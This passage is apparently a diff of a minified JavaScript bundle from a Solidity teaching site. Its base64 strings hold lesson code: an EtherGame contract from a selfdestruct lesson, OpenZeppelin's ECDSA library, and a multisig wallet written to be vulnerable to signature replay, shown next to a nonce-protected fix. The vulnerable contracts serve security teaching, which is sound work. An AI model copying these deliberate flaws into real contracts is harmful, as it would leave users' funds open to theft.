WC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV0aGVyR2FtZSB7CiAgICB1aW50MjU2IHB1YmxpYyB0YXJnZXRBbW91bnQgPSAzIGV0aGVyOwogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKICAgIGFkZHJlc3MgcHVibGljIHdpbm5lcjsKCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgcHVibGljIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID09IDEgZXRoZXIsICJZb3UgY2FuIG9ubHkgc2VuZCAxIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2UgKz0gbXNnLnZhbHVlOwogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA8PSB0YXJnZXRBbW91bnQsICJHYW1lIGlzIG92ZXIiKTsKCiAgICAgICAgaWYgKGJhbGFuY2UgPT0gdGFyZ2V0QW1vdW50KSB7CiAgICAgICAgICAgIHdpbm5lciA9IG1zZy5zZW5kZXI7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltUmV3YXJkKCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gd2lubmVyLCAiTm90IHdpbm5lciIpOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGJhbGFuY2V9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],U0=`

                                  Contracts can be deleted from the blockchain by calling selfdestruct.

                                  selfdestruct sends all remaining Ether stored in the contract to a designated address.

                                  Vulnerability

                                  @@ -10562,7 +10562,7 @@ Now no one can deposit and the winner cannot be set. require(sent, "Failed to send Ether"); } } -`,L0=({prev:s,next:a})=>r.jsx(A,{version:E0,title:Q0,description:T0,html:_0,prev:s,next:a,codes:U0}),O0="0.8.24",P0="Signature Replay",$0="An example of a contract vulnerable to signature replay attack",q0=[{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjcmVjb3ZlcigpLiBSZW1vdmUgdGhpcyBwb3NzaWJpbGl0eSBhbmQgbWFrZSB0aGUgc2lnbmF0dXJlCiAgICAgICAgLy8gdW5pcXVlLiBBcHBlbmRpeCBGIGluIHRoZSBFdGhlcmV1bSBZZWxsb3cgcGFwZXIgKGh0dHBzOi8vZXRoZXJldW0uZ2l0aHViLmlvL3llbGxvd3BhcGVyL3BhcGVyLnBkZiksIGRlZmluZXMKICAgICAgICAvLyB0aGUgdmFsaWQgcmFuZ2UgZm9yIHMgaW4gKDMwMSk6IDAgPCBzIDwgc2VjcDI1NmsxbiDDtyAyICsgMSwgYW5kIGZvciB2IGluICgzMDIpOiB2IOKIiCB7MjcsIDI4fS4gTW9zdAogICAgICAgIC8vIHNpZ25hdHVyZXMgZnJvbSBjdXJyZW50IGxpYnJhcmllcyBnZW5lcmF0ZSBhIHVuaXF1ZSBzaWduYXR1cmUgd2l0aCBhbiBzLXZhbHVlIGluIHRoZSBsb3dlciBoYWxmIG9yZGVyLgogICAgICAgIC8vCiAgICAgICAgLy8gSWYgeW91ciBsaWJyYXJ5IGdlbmVyYXRlcyBtYWxsZWFibGUgc2lnbmF0dXJlcywgc3VjaCBhcyBzLXZhbHVlcyBpbiB0aGUgdXBwZXIgcmFuZ2UsIGNhbGN1bGF0ZSBhIG5ldyBzLXZhbHVlCiAgICAgICAgLy8gd2l0aCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGRDI1RThDRDAzNjQxNDEgLSBzMSBhbmQgZmxpcCB2IGZyb20gMjcgdG8gMjggb3IKICAgICAgICAvLyB2aWNlIHZlcnNhLiBJZiB5b3VyIGxpYnJhcnkgYWxzbyBnZW5lcmF0ZXMgc2lnbmF0dXJlcyB3aXRoIDAvMSBmb3IgdiBpbnN0ZWFkIDI3LzI4LCBhZGQgMjcgdG8gdiB0byBhY2NlcHQKICAgICAgICAvLyB0aGVzZSBtYWxsZWFibGUgc2lnbmF0dXJlcyBhcyB3ZWxsLgogICAgICAgIGlmICgKICAgICAgICAgICAgdWludDI1NihzKQogICAgICAgICAgICAgICAgPiAweDdGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGNUQ1NzZFNzM1N0E0NTAxRERGRTkyRjQ2NjgxQjIwQTAKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIChhZGRyZXNzKDApLCBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZVMpOwogICAgICAgIH0KICAgICAgICBpZiAodiAhPSAyNyAmJiB2ICE9IDI4KSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVWKTsKICAgICAgICB9CgogICAgICAgIC8vIElmIHRoZSBzaWduYXR1cmUgaXMgdmFsaWQgKGFuZCBub3QgbWFsbGVhYmxlKSwgcmV0dXJuIHRoZSBzaWduZXIgYWRkcmVzcwogICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZWNyZWNvdmVyKGhhc2gsIHYsIHIsIHMpOwogICAgICAgIGlmIChzaWduZXIgPT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"PreventSigReplay.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgTXVsdGlTaWdXYWxsZXQgewogICAgdXNpbmcgRUNEU0EgZm9yIGJ5dGVzMzI7CgogICAgYWRkcmVzc1syXSBwdWJsaWMgb3duZXJzOwogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyBleGVjdXRlZDsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzWzJdIG1lbW9yeSBfb3duZXJzKSBwYXlhYmxlIHsKICAgICAgICBvd25lcnMgPSBfb3duZXJzOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoCiAgICAgICAgYWRkcmVzcyBfdG8sCiAgICAgICAgdWludDI1NiBfYW1vdW50LAogICAgICAgIHVpbnQyNTYgX25vbmNlLAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lncwogICAgKSBleHRlcm5hbCB7CiAgICAgICAgYnl0ZXMzMiB0eEhhc2ggPSBnZXRUeEhhc2goX3RvLCBfYW1vdW50LCBfbm9uY2UpOwogICAgICAgIHJlcXVpcmUoIWV4ZWN1dGVkW3R4SGFzaF0sICJ0eCBleGVjdXRlZCIpOwogICAgICAgIHJlcXVpcmUoX2NoZWNrU2lncyhfc2lncywgdHhIYXNoKSwgImludmFsaWQgc2lnIik7CgogICAgICAgIGV4ZWN1dGVkW3R4SGFzaF0gPSB0cnVlOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBfdG8uY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VHhIYXNoKGFkZHJlc3MgX3RvLCB1aW50MjU2IF9hbW91bnQsIHVpbnQyNTYgX25vbmNlKQogICAgICAgIHB1YmxpYwogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChhZGRyZXNzKHRoaXMpLCBfdG8sIF9hbW91bnQsIF9ub25jZSkpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9jaGVja1NpZ3MoYnl0ZXNbMl0gbWVtb3J5IF9zaWdzLCBieXRlczMyIF90eEhhc2gpCiAgICAgICAgcHJpdmF0ZQogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGJ5dGVzMzIgZXRoU2lnbmVkSGFzaCA9IF90eEhhc2gudG9FdGhTaWduZWRNZXNzYWdlSGFzaCgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBfc2lncy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIHNpZ25lciA9IGV0aFNpZ25lZEhhc2gucmVjb3Zlcihfc2lnc1tpXSk7CiAgICAgICAgICAgIGJvb2wgdmFsaWQgPSBzaWduZXIgPT0gb3duZXJzW2ldOwoKICAgICAgICAgICAgaWYgKCF2YWxpZCkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KfQoKLyoKLy8gb3duZXJzCjB4ZTE5YWVhOTNGNkMxZEJlZjZBMzc3Njg0OGJFMDk5QTdjMzI1M2FjOAoweGZhODU0RkU1MzM5ODQzYjNlOUJmZDg1NTRCMzhCRDA0MkE0MmUzNDAKCi8vIHRvCjB4ZTEwNDIyY2M2MTAzMEM4QjNkQkNEMzZjN2U3ZThFQzNCNTI3RTBBYwovLyBhbW91bnQKMTAwCi8vIG5vbmNlCjAKLy8gdHggaGFzaAoweDEyYTA5NTQ2MmViZmNhMjdkYzRkOTlmZWVmODg1YmZlNTgzNDRmYjZiYjQyYzNjNTJhN2MwZDY4MzZkMTE0NDgKCi8vIHNpZ25hdHVyZXMKMHgxMjBmOGVkOGYyZmE1NTQ5OGYyZWYwYTIyZjI2ZTM5YjliNTFlZDI5Y2M5M2ZlMGVmM2VkMTc1NmY1OGZhZDBjNmViNWExZDZmMzY3MWY4ZDUxNjM2MzlmZGM0MGJiODcyMGRlNmQ4ZjI1MjMwNzdhZDZkMTEzOGE2MDkyM2I4MDFjCjB4YTI0MGE0ODdkZTFlYjViYjk3MWU5MjBjYjA2NzdhNDdkZGM2NDIxZTM4ZjdiMDQ4ZjhhYTg4MjY2YjJjODg0YTEwNDU1YTUyZGM3NmEyMDNhMWE5YTk1MzQxODQ2OWY5ZWVjMmM1OWU4NzIwMWJiYzhkYjBlNGQ5Nzk2OTM1Y2IxYgoqLwo="},{fileName:"SigReplay.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgTXVsdGlTaWdXYWxsZXQgewogICAgdXNpbmcgRUNEU0EgZm9yIGJ5dGVzMzI7CgogICAgYWRkcmVzc1syXSBwdWJsaWMgb3duZXJzOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbMl0gbWVtb3J5IF9vd25lcnMpIHBheWFibGUgewogICAgICAgIG93bmVycyA9IF9vd25lcnM7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIF90bywgdWludDI1NiBfYW1vdW50LCBieXRlc1syXSBtZW1vcnkgX3NpZ3MpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICBieXRlczMyIHR4SGFzaCA9IGdldFR4SGFzaChfdG8sIF9hbW91bnQpOwogICAgICAgIHJlcXVpcmUoX2NoZWNrU2lncyhfc2lncywgdHhIYXNoKSwgImludmFsaWQgc2lnIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IF90by5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUeEhhc2goYWRkcmVzcyBfdG8sIHVpbnQyNTYgX2Ftb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoX3RvLCBfYW1vdW50KSk7CiAgICB9CgogICAgZnVuY3Rpb24gX2NoZWNrU2lncyhieXRlc1syXSBtZW1vcnkgX3NpZ3MsIGJ5dGVzMzIgX3R4SGFzaCkKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYnl0ZXMzMiBldGhTaWduZWRIYXNoID0gX3R4SGFzaC50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF9zaWdzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZXRoU2lnbmVkSGFzaC5yZWNvdmVyKF9zaWdzW2ldKTsKICAgICAgICAgICAgYm9vbCB2YWxpZCA9IHNpZ25lciA9PSBvd25lcnNbaV07CgogICAgICAgICAgICBpZiAoIXZhbGlkKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9Cg=="}],sZ=`

                                  Signing messages off-chain and having a contract that requires that signature before executing +`,_0=({prev:s,next:a})=>r.jsx(A,{version:D0,title:E0,description:Q0,html:U0,prev:s,next:a,codes:T0}),L0="0.8.24",O0="Signature Replay",P0="An example of a contract vulnerable to signature replay attack",$0=[{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRl